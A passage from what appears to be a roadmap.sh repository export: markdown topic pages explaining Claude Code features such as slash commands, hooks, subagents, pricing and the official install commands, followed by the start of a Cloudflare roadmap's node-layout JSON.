    "content": "# Slash Commands (/)\n\nSlash commands are the steering wheel of Claude Code. They allow you to execute meta-actions, manage your session, and configure the environment without needing to write a natural language request. By typing a forward slash / at the start of your prompt, you gain access to a suite of utility tools that help you control costs, manage context, and extend functionality. These commands are processed locally and do not involve the AI's reasoning engine until necessary, making them instant and efficient\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode#built-in-commands)\n- [@article@How to Use Claude Code: A Guide to Slash Commands, Agents, Skills, and Plug-ins](https://www.producttalk.org/how-to-use-claude-code-features/)\n- [@article@Claude Code Tutorial #6 - Slash Commands](https://www.youtube.com/watch?v=52KBhQqqHuc)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/sonnet@nDodLa7_UEeOmx6iM0Xp5.md",
    "content": "# Sonnet\n\nClaude Sonnet is a high-performance large language model that strikes an ideal balance between advanced reasoning intelligence and rapid processing speed. It serves as the versatile \"workhorse\" of the Claude family, capable of handling complex programming tasks, such as multi-file refactoring and autonomous debugging, while operating significantly faster and more cost-effectively than the top-tier Opus model.\n\nVisit the following resources to learn more:\n\n- [@official@Introducing Claude Sonnet 4.5 \\ Anthropic](https://www.anthropic.com/news/claude-sonnet-4-5)\n- [@official@Claude Sonnet 4.5 \\ Anthropic](https://www.anthropic.com/claude/sonnet)\n- [@video@Sonnet 4.5 is the best coding model in the world](https://www.youtube.com/watch?v=uZBjVeyiYkk)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/status@PS0GH8e9sW9N4s3UeHhjH.md",
    "content": "# /status & /statusline\n\nThe `/status` command is an interactive dashboard that provides a comprehensive overview of your current session's health and system configuration. Unlike the `/statusline` command, which places a permanent information bar at the bottom of your terminal, `/status` opens a temporary, tabbed interface that displays detailed metrics such as your Claude Code version, the specific AI model in use, active account details, and real-time usage limits. It is designed for one-off checks to verify connection stability or to monitor your daily and weekly token quotas before starting a large coding task.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Customize your status line](https://code.claude.com/docs/en/statusline)\n- [@video@Your Claude Code Terminal Should Look Like This](https://www.youtube.com/watch?v=fiZfVTsPy-w)\n- [@video@Claude Code StatusLine Explained (Free Script Generator)](https://www.youtube.com/watch?v=PB9_Q2tfe90)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/stop@v-gjhrW3oVZTe3EpUCjhY.md",
    "content": "# Stop\n\nThe `Stop` hook is a final-stage lifecycle event that triggers when Claude Code believes it has finished its entire response and is about to return control to the user. Unlike `PostToolUse`, which fires after every single file edit or command, the `Stop` hook only runs once at the very end of the interaction \"turn.\"\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/subagents@EsbasCHDQOBZcBfHIrTbE.md",
    "content": "# Subagents\n\nSubagents are specialized AI assistants that function as independent \"team members\" to handle focused tasks on behalf of the main agent. Each subagent operates within its own isolated context window, meaning it starts with a clean slate and does not clutter your primary conversation with large amounts of intermediate research or technical logs.\n\nVisit the following resources to learn more:\n\n- [@official@Create custom subagents](https://code.claude.com/docs/en/sub-agents)\n- [@article@Claude Code Subagents: Complete Guide to Multi-Agent Architecture](https://wmedia.es/en/writing/claude-code-subagents-guide-ai)\n- [@article@Building with Claude Code Subagents (My Beloved Minions) | by Yee Fei | Medium](https://medium.com/@ooi_yee_fei/building-with-claude-code-subagents-my-beloved-minions-b5a9a4318ba5)\n- [@article@99% of Developers Haven’t Seen Claude Code Sub Agents (It Changes Everything)](https://medium.com/vibe-coding/99-of-developers-havent-seen-claude-code-sub-agents-it-changes-everything-c8b80ed79b97)\n- [@video@Claude Code NEW Sub Agents in 7 Minutes](https://www.youtube.com/watch?v=DNGxMX7ym44&pp=ygUVY2xhdWRlIGNvZGUgc3ViYWdlbnRz)\n- [@video@Claude Code Tutorial #8 - Subagents](https://www.youtube.com/watch?v=Phr7vBx9yFQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/subagents@wFxYfNu7LtzV72a224WTZ.md",
    "content": "# Subagents\n\nSubagents are specialized AI assistants that function as independent \"team members\" to handle focused tasks on behalf of the main agent. Each subagent operates within its own isolated context window, meaning it starts with a clean slate and does not clutter your primary conversation with large amounts of intermediate research or technical logs. They are typically defined by a markdown file in the `.claude/agents/` directory, where you specify their unique system prompt, expertise, and restricted tool access.\n\nVisit the following resources to learn more:\n\n- [@official@Create custom subagents - Claude Code Docs](https://code.claude.com/docs/en/sub-agents)\n- [@video@Stop Using Claude Code Like This (Use Sub-Agents Instead) -](https://www.youtube.com/watch?v=P60LqQg1RH8)\n- [@video@Claude Code NEW Sub Agents in 7 Minutes](https://www.youtube.com/watch?v=DNGxMX7ym44)\n- [@video@Claude Code Tutorial #8 - Subagents](https://www.youtube.com/watch?v=Phr7vBx9yFQ)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/subscription@_Un0jTJaFs5Pdn1DFGl61.md",
    "content": "# Subscription options\n\nSubscription-based authentication for Claude Code lets you use your existing [Claude.ai](http://Claude.ai) plan to power your development tasks with a unified login. If you have a Claude Pro or Claude Max account, you can simply run the `claude` command and follow the browser prompt to link your personal subscription, which includes Claude Code usage at no extra cost.\n\nFor companies, the Claude Code on Team plans is designed for smaller, collaborative groups, offering higher usage limits than Pro, while Enterprise provides advanced security (SSO, Audit Logs), deeper integration, and higher capacity for large-scale operations.\n\nOnce logged in, your credentials are stored, and you won’t need to log in again. To switch accounts later, use the `/login` command.\n\nVisit the following resources to learn more:\n\n- [@official@Log in to your account](https://code.claude.com/docs/en/quickstart#step-2-log-in-to-your-account)\n- [@official@Subscription & Pricing](https://claude.com/pricing)\n- [@official@Choosing a Claude plan](https://support.claude.com/en/articles/11049762-choosing-a-claude-plan)\n- [@article@Claude Pricing Explained: Subscription Plans & API Costs](https://intuitionlabs.ai/articles/claude-pricing-plans-api-costs)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/thinking-modes--effort@cdO7pKphZq1qvCeynxGKo.md",
    "content": "# Thinking modes & Effort\n\nUsing thinking modes and adjusting effort levels in Claude Code is essential for balancing deep reasoning with operational efficiency. Furthermore, you can fine-tune Claude's cognitive energy using the effort parameter (available through the /model command).\n\nVisit the following resources to learn more:\n\n- [@official@Adjust effort level](https://code.claude.com/docs/en/model-config#adjust-ef)\n- [@official@Adjust extended thinking](https://code.claude.com/docs/en/costs#adjust-extended-thinking)\n- [@official@Effort](https://platform.claude.com/docs/en/build-with-claude/effort)\n- [@official@Speed up responses with fast mode](https://code.claude.com/docs/en/fast-mode)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/tools@vB1d1mbiPJK3a1LbYZkH9.md",
    "content": "# Tools\n\nTools are specialized functions that allow the AI assistant to perform actions on your computer rather than just generating text. These functions are categorized into client-side tools that interact with your local environment, such as `Bash` for running terminal commands, `Read` and `Edit` for file manipulation, and `Glob` or `Grep` for searching codebases, and server-side tools like `WebSearch` for fetching real-time information from the internet.\n\nVisit the following resources to learn more:\n\n- [@official@Tools](https://code.claude.com/docs/en/how-claude-code-works#tools)\n- [@official@Tools available to Claude](https://code.claude.com/docs/en/settings#tools-available-to-claude)\n- [@official@Introducing advanced tool use on the Claude Developer Platform \\ Anthropic](https://www.anthropic.com/engineering/advanced-tool-use)\n- [@article@Claude Code Built-in Tools Reference | vtrivedy](https://www.vtrivedy.com/posts/claudecode-tools-reference/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/understand-claude-pricing@SCbZprU9r8BIX4BoyjYPE.md",
    "content": "# Understand Claude Pricing\n\nClaude Code offers a flexible, dual-path pricing model designed to accommodate both individual power users and high-scale enterprise teams. You can access the tool through a fixed-rate subscription (such as the Pro or Max plans), which provides a generous recurring allocation of messages shared across the web interface and the terminal, making costs predictable for daily development. Alternatively, you can use a pay-as-you-go API model, where you are billed based on the total number of \"tokens\" (small units of text) processed in each interaction.\n\nVisit the following resources to learn more:\n\n- [@official@Pricing](https://claude.com/pricing)\n- [@official@Pricing in detail](https://platform.claude.com/docs/en/about-claude/pricing)\n- [@article@Claude Pricing Explained: Subscription Plans & API Costs](https://intuitionlabs.ai/articles/claude-pricing-plans-api-costs)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/usage-best-practices@svhWAC463Y9CUkFb524Fd.md",
    "content": "# Usage Best Practices\n\nIf you're just starting in Claude Code, the most impactful habit is adopting a \"Plan First, Implement Second\" workflow by using Plan Mode for any task more complex than a one-line fix. This forces Claude to research your architecture and draft a plan for your approval before it touches your source code, preventing expensive hallucinations and \"vibe-coding\" errors.\n\nTo sustain this efficiency long-term, you must maintain a `CLAUDE.md` file in your project root; treat it as your project’s \"brain\" where you store non-obvious context like build commands (`npm run dev`), testing patterns, and specific style guides (e.g., \"Always use functional components\").\n\nSince Claude’s performance degrades as the context window fills, practice context hygiene by using the /compact command during long sessions or starting fresh conversations for unrelated tasks.\n\nFinally, lean into the tool's agentic nature by letting it handle the \"boring\" parts of the lifecycle—like writing descriptive Git commits with `claude commit` or running hooks to ensure that specific shell commands or Claude Code evaluations run every single time a certain event occurs.\n\nVisit the following resources to learn more:\n\n- [@official@Best Practices for Claude Code](https://code.claude.com/docs/en/best-practices#best-practices-for-claude-code)\n- [@article@Mastering the Vibe: Claude Code Best Practices That Actually Work | by Dinanjana Gunaratne | Medium](https://dinanjana.medium.com/mastering-the-vibe-claude-code-best-practices-that-actually-work-823371daf64c)\n- [@article@What are your \"best practices\" for Claude Code? : r/ClaudeCode](https://www.reddit.com/r/ClaudeCode/comments/1nris9w/what_are_your_best_practices_for_claude_code/)\n- [@article@My 7 essential Claude Code best practices for production-ready AI in 2025](https://www.eesel.ai/blog/claude-code-best-practices)\n- [@article@How I use Claude Code (+ my best tips)](https://www.builder.io/blog/claude-code)\n- [@video@Claude Code Workflows That Will 10x Your Productivity](https://www.youtube.com/watch?v=yZvDo_n12ns&t=145s)\n- [@video@Claude Code - 47 PRO TIPS in 9 minutes](https://www.youtube.com/watch?v=TiNpzxoBPz0)\n- [@video@How I use Claude Code (+ my best tips)](https://www.youtube.com/watch?v=n7iT5r0Sl_Y)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/usage@CPJulmusiWq3JQ6MmEJ0I.md",
    "content": "# /usage\n\nThe `/usage` command is a specialized diagnostic tool designed specifically for users on Claude Pro or Claude Max subscription plans. Since these plans have unified limits, the command provides a real-time status report of your remaining capacity instead of monetary costs.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/use-compact-and-clear@YjRDJcSK_h82DooDWY2k4.md",
    "content": "# Use /compact and /clear\n\nRegularly using `/compact` and `/clear` is the most effective way to prevent \"context rot\" and manage spiraling API costs while working with Claude Code. Using `/compact` allows you to summarize long research or debugging threads into a lean set of key findings, effectively \"zipping\" the conversation so you can continue without losing essential progress. In contrast, `/clear` is vital when switching to an unrelated task; it wipes the current history to provide a clean slate."
  },
  {
    "path": "src/data/roadmaps/claude-code/content/use-compact-regularly@YjRDJcSK_h82DooDWY2k4.md",
    "content": "# Use /compact and /clear\n\nRegularly using `/compact` and `/clear` is the most effective way to prevent \"context rot\" and manage spiraling API costs while working with Claude Code. Because Claude re-processes your entire conversation history with every new message, a session that has accumulated thousands of lines of terminal output and file diffs will eventually become expensive, slow, and prone to \"forgetting\" early instructions. Using `/compact` allows you to summarize long research or debugging threads into a lean set of key findings, effectively \"zipping\" the conversation so you can continue without losing essential progress. In contrast, `/clear` is vital when switching to an unrelated task; it wipes the current history to provide a clean slate."
  },
  {
    "path": "src/data/roadmaps/claude-code/content/use-subagents-and-hooks@-P9o-aiDM7CDtLimppkjM.md",
    "content": "# Use subagents and hooks\n\nSubagents and Hooks are powerful architectural tools that manage the context window by practicing \"selective attention,\" ensuring the main conversation stays lean while specialized tasks remain high-precision. Subagents act as isolated \"expert bubbles\" that run in their own independent context windows with restricted toolsets, while Hooks provide a deterministic way to inject or prune context at key lifecycle moments.\n\nVisit the following resources to learn more:\n\n- [@official@Claude Code Subagents: Complete Guide to Multi-Agent Architecture](https://wmedia.es/en/writing/claude-code-subagents-guide-ai)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Delegate verbose operations to subagents](https://code.claude.com/docs/en/costs#delegate-verbose-operations-to-subagents)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/userpromptsubmit@Zrqdx4Z8uAS5yhI65Xh6z.md",
    "content": "# UserPromptSubmit\n\nThe `UserPromptSubmit` hook is an interception mechanism that fires the moment you press Enter on a prompt, but before the text is actually sent to the Claude model. It is the most powerful tool for prompt engineering automation, allowing you to programmatically rewrite, validate, or enhance your instructions on the fly.\n\nVisit the following resources to learn more:\n\n- [@official@Hooks reference](https://code.claude.com/docs/en/hooks)\n- [@official@Automate workflows with hooks](https://code.claude.com/docs/en/hooks-guide)\n- [@article@Rewrite Prompts on the Fly with UserPromptSubmit Hooks](https://egghead.io/lessons/rewrite-prompts-on-the-fly-with-user-prompt-submit-hooks~76rrt)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/using-claude-code@29xiIXYlB0bjXKA794qap.md",
    "content": "# Using Claude Code\n\nClaude Code is a sophisticated agentic tool that provides significant power through its ability to execute commands and edit files, but it requires a disciplined approach to prevent security risks and runaway costs.\n\nVisit the following resources to learn more:\n\n- [@official@Best Practices for Claude Code - Claude Code Docs](https://code.claude.com/docs/en/best-practices)\n- [@official@Prompting best practices - Claude API Docs](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices)\n- [@article@How I use Claude Code (+ my best tips)](https://www.builder.io/blog/claude-code)\n- [@video@How I use Claude Code (Meta Staff Engineer Tips) - YouTube](https://www.youtube.com/watch?v=mZzhfPle9QU)\n- [@video@My top 6 tips & ways of using Claude Code efficiently - YouTube](https://www.youtube.com/watch?v=WwdIYp5fuxY)\n- [@video@How I use Claude Code (+ my best tips) - YouTube](https://www.youtube.com/watch?v=n7iT5r0Sl_Y)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/ways-to-use-claude@thR8GUbuAkEL4sb4m3llJ.md",
    "content": "# Ways to use Claude\n\nClaude Code can be accessed through three main interfaces: a Command Line Interface (CLI) for terminal-heavy workflows and automation, an editor code extension (e.g VS Code, JetBrains IDEs) that offers a graphical sidebar with inline code diffs, and a standalone Desktop Application for managing complex projects in a dedicated environment. While the CLI is highly composable and scriptable, the editor extensions integrate directly with your editor’s file explorer, and the Desktop App provides a user-friendly entry point with visual session management. Each method utilizes the same agentic engine to research, write, and execute code, allowing you to choose the interface that best fits your specific development style.\n\n*   **macOS, Linux, WSL:** `curl -fsSL https://claude.ai/install.sh | bash`\n    \n*   **Windows PowerShell:** `irm https://claude.ai/install.ps1 | iex`\n\nVisit the following resources to learn more:\n\n- [@course@Claude 101](https://anthropic.skilljar.com/claude-101)\n- [@official@Use Claude Code everywhere](https://code.claude.com/docs/en/overview#use-claude-code-everywhere)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/what-is-a-coding-agent@LGxnQkrbwVu9z1PFB12P3.md",
    "content": "# Coding Agent\n\nA coding agent is an AI-powered software entity designed to autonomously write, test, and debug code to solve specific programming tasks or complete software development projects. It uses various AI techniques, like large language models and reinforcement learning, to understand requirements, generate code snippets, identify errors, and iterate on its solutions to achieve the desired outcome.\n\nVisit the following resources to learn more:\n\n- [@article@Visit the Dedicated AI Agents Roadmap](https://roadmap.sh/ai-agents)\n- [@article@What are AI agents?](https://www.ibm.com/think/topics/ai-agents)\n- [@article@What are AI agents? Definition, examples, and types | Google Cloud](https://cloud.google.com/discover/what-are-ai-agents)\n- [@video@AI Agents, Clearly Explained](https://www.youtube.com/watch?v=FwOTs4UxQS4)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/what-is-agentic-loop@uOowDiCXVKyMFrZO1pnXv.md",
    "content": "# Agentic Loop\n\nAn agentic loop is a computational pattern where an agent continuously interacts with its environment through a cycle of perception, planning, and action. The agent observes its surroundings, decides on a course of action based on its goals and current state, executes that action, and then observes the results to inform its next decision. This iterative process allows the agent to learn, adapt, and pursue its objectives in a dynamic and potentially unpredictable environment.\n\nVisit the following resources to learn more:\n\n- [@official@Claude Code Agentic Loop](https://code.claude.com/docs/en/how-claude-code-works#the-agentic-loop)\n- [@article@What is an Agent Loop?](https://huggingface.co/learn/agents-course/en/unit1/agent-steps-and-structure)\n- [@article@Let's Build your Own Agentic Loop](https://www.reddit.com/r/AI_Agents/comments/1js1xjz/lets_build_our_own_agentic_loop_running_in_our/)\n- [@video@What is Agentic RAG?](https://www.youtube.com/watch?v=0z9_MhcYvcY)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/what-is-vibe-coding@SKkeuO_5B18AbxlNGeazN.md",
    "content": "# Vibe Coding\n\nVibe coding is a modern software development approach in which developers use AI agents and large language models (LLMs) to generate, build, and iterate on applications via natural language prompts, rather than writing code manually. Coined by Andrej Karpathy, this method focuses on the \"vibe\" or overall intent of the application, often involving rapid prototyping and minimal manual code review, making software development more accessible and faster.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Vibe Coding Roadmap](https://roadmap.sh/vibe-coding)\n- [@article@What is vibe coding?](https://cloud.google.com/discover/what-is-vibe-coding)\n- [@article@What is vibe coding?](https://www.ibm.com/think/topics/vibe-coding)\n- [@video@What Is Vibe Coding? Building Software with Agentic AI](https://www.youtube.com/watch?v=Y68FF_nUSWE)\n- [@video@What is Vibe Coding?](https://www.youtube.com/watch?v=5OWurmg41tI)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/cloudflare.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"82oZ5FJok15X5aetL1UaA\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -8.952745032276027,\n        \"y\": 1189.4754953712302\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -8.952745032276027,\n        \"y\": 1189.4754953712302\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"8BW3ScLDYa_4DkBksLlJM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1274.8942173748287\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 229,\n      \"height\": 104,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -256.51237120830484,\n        \"y\": 1274.8942173748287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 104\n      }\n    },\n    {\n      \"id\": \"kJXPzUulKPhawgbEK7n9l\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 468.5985688843266,\n        \"y\": 413.00061202347564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 286,\n      \"height\": 431,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 431\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 468.5985688843266,\n        \"y\": 413.00061202347564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 431\n      }\n    },\n    {\n      \"id\": \"7kxbi3VJONZHcjRNhrnTH\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 120.89946958507927,\n        \"y\": 80.88749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 658,\n      \"height\": 276,\n      \"style\": {\n        \"width\": 658,\n        \"height\": 276\n      },\n      \"positionAbsolute\": {\n        \"x\": 120.89946958507927,\n        \"y\": 80.88749407694564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 658,\n        \"height\": 276\n      }\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 231.89029212267985,\n        \"y\": -109.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 231.89029212267985,\n        \"y\": -109.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 157.39029212267985,\n        \"y\": -44.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloudflare\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 157.39029212267985,\n        \"y\": -44.59925177765109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 421.119142886761,\n        \"y\": -115.9573697023546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 421.119142886761,\n        \"y\": -115.9573697023546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 434.3225172995611,\n        \"y\": -33.971806284609315\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 434.3225172995611,\n        \"y\": -33.971806284609315\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qnjDifLlSYoxWd5GmuQXd\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -287,\n        \"y\": -107.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"Ij2MtNkVSxBzg1qxg4b9b\",\n            \"label\": \"DevOps Roadmap\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"AQAtTLgFlTE5U5YRVEeAe\",\n            \"label\": \"AWS Roadmap\",\n            \"url\": \"https://roadmap.sh/aws\"\n          },\n          {\n            \"id\": \"63hdFwOU9EHEykngaL1Wi\",\n            \"label\": \"Node.js Roadmap\",\n            \"url\": \"https://roadmap.sh/nodejs\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 161,\n      \"positionAbsolute\": {\n        \"x\": -287,\n        \"y\": -107.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 161\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"PcYnYAAkKMbzoiCnBfjqO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.39946958507926,\n        \"y\": 134.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.39946958507926,\n        \"y\": 134.38749407694564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q9oQTt_NqhdWvJfA5XH1V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.39946958507926,\n        \"y\": 187.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Command-line Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.39946958507926,\n        \"y\": 187.38749407694564\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9iSdASlRxyod9YwZ2IUry\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.39946958507926,\n        \"y\": 240.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP and Web Protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 133.39946958507926,\n        \"y\": 240.38749407694564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C08pIguX1N45Iw0kh0Fvu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 133.39946958507926,\n        \"y\": 293.3874940769456\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 299,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 133.39946958507926,\n        \"y\": 293.3874940769456\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dSBYTGGkol3MAXyg7G7_J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.39946958507926,\n        \"y\": 136.38749407694564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js and NPM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.39946958507926,\n        \"y\": 136.38749407694564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      